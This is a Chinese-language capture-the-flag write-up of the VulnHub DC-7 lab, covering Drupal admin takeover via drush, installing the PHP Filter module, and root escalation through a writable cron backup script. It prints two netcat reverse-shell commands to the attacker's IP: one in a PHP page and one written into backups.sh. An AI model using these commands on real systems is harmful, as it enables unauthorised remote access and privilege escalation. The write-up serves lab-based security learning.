基本配置
靶机是从VulnHub上下载的DC 7:
攻击机使用的是Kali2020.3,网络设置:
信息搜集
先扫描一下虚拟网段192.168.187.0/24:
发现目标192.168.187.140,进一步扫描:
没有更多的收获,那接下来先访问一下把:
是熟悉的Drupal作为CMS。作者在首页的话让我有点摸不着头脑,网上搜了搜发现线索在左下角的DC7USER上,google一下:
发现一个GitHub账号:
打开这个仓库:
这里还真的有线索,在config.php这个文件里直接就是用户名和密码:
进入靶机
先试试用刚刚在github得到的用户名和密码能不能登录网站:
很遗憾并不可以。那再试试可不可以登录SSH:
成功登录!
MySQL数据库的线索
根据drupal的设置,在 /var/www/html/sites/default 下的settings.php文件中找到数据库设置:
$databases['default']['default'] = array (
'database' => 'd7db',
'username' => 'db7user',
'password' => 'yNv3Po00',
'prefix' => '',
'host' => 'localhost',
'port' => '',
'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
'driver' => 'mysql',
);
那么接下来再登陆一下mysql数据库:
在d7db数据库中找到了存放用户数据的users_field_data表:
先试试能不能更改这个表:
update users_field_data set name="dc7user" where uid=2;
竟然没有权限受限?那接下来要做的就是和 DC 1 中类似,前往 /var/www/html/core/scripts 目录下找到计算密码哈希值的脚本password-hash.sh,为admin设置一个新密码:
再回头更新表。更新之后登录,发现问题,这次好像登陆不了?暂时不清楚原因,这个想法只能先搁置了。
邮件的线索
在数据库这里碰了壁,但也不算一无所获,至少知道了admin账户的存在,那么接下来还是先到/home目录下寻找线索:
mbox应该是一些邮件,稍后再看。而backups目录下有两个被gpg加密了的文件,很神秘。
一时看不出什么线索,就打开mbox看一下邮件吧:
一封一封地看下来,可以看到这是root用户每15分钟就操作一次 /opt/scripts/backups.sh 脚本的记录,阅读完这些邮件,再次到/var/mail目录下看看有没有更多的邮件:
这些邮件似乎是今天刚刚发来的(时间不知道对准的是哪个时区),说明运行这个脚本是一个定时的任务,而且还是以管理员权限运行,要是能够编辑这个脚本,那么就可以得到管理员的权限。
那么下面就要来看看这个脚本的内容:
首先可以确定,这个脚本文件的所有者是root,但是www-data组内的用户同样有读写执行该脚本的权限,其他用户就只有读的权限。
这是一个好消息,只要我能够退一步拿到www-data的权限,我就可以在这个backups.sh脚本中写入我想要执行的命令以root权限来执行。而想要做到这一点,首先想到的便是通过网站回弹一个shell。于是问题又回到了登录网站管理员admin的账号上。
这时注意到脚本中有一个没见过的命令drush,查了一下发现这是一个drupal的命令行管理工具。既然是管理工具,那么应该具有用户管理的功能,果不其然,在官网上搜到了可以更改特定用户密码的指令:
https://www.drush.org/commands/10.x/user_password
根据指示,来到服务器根目录更改admin的密码:
drush user-password admin --password=12345
用新的密码登录admin:
登陆成功。
提权
登录之后,为了能够回弹shell,先看看能不能创建一个脚本:
结果在add content界面只能添加静态的页面。
但是所幸之前在查关于joomla的资料时便了解到,Drupal可以通过安装扩展的方式支持php脚本,现在就去安装一个。
来到Extend页面下选择安装新module:
去官网下载一个Drupal的PHP插件https://www.drupal.org/project/php,使用tar压缩包进行导入:
选择启用新的模块:
回到Extend页面安装PHP Filter :
安装完成后就前往编辑一个php脚本:
// getshell.php脚本
<?php
system("nc -e /bin/bash 192.168.187.130 4444");
?>
打开新的终端监听4444端口:
nc -lvp 4444
访问getshell页面即可得到shell,python重新导入一下得到交互式shell:
现在拿到www-data的权限后只剩最后一件事,那就是去更改哪个backups.sh脚本,使其向Kali反弹root权限的shell:
echo nc -e /bin/bash 192.168.187.130 6666 > backups.sh
cat backups.sh
最后,在Kali上打开6666端口监听,不超过15分钟后(因为执行的周期是15分钟),就可以获得Shell:
来到/root目录下,得到flag:
总结
这次入侵的过程我认为最有意思的在第一步,这一步告诉了我渗透一个目标,不仅要从技术上搜集信息,也要从其他相关联的非技术的方向进行考虑。
学习到的知识:
-
利用社会工程学进行信息收集(?)
-
更加熟悉了Drupal组织内容的方式
-
nc反弹shell更加熟练
-
熟悉了简单PHP脚本的编写
尚有欠缺的知识:
-
对Linux权限管理不是很熟,在看到backups.sh的权限时一下子没有反应过来
-
我用php语言只能写很简单的东西,可以稍微多学习一点
来源:freebuf.com 2020-11-01 15:02:06 by: FFFcaptain328
请登录后发表评论
注册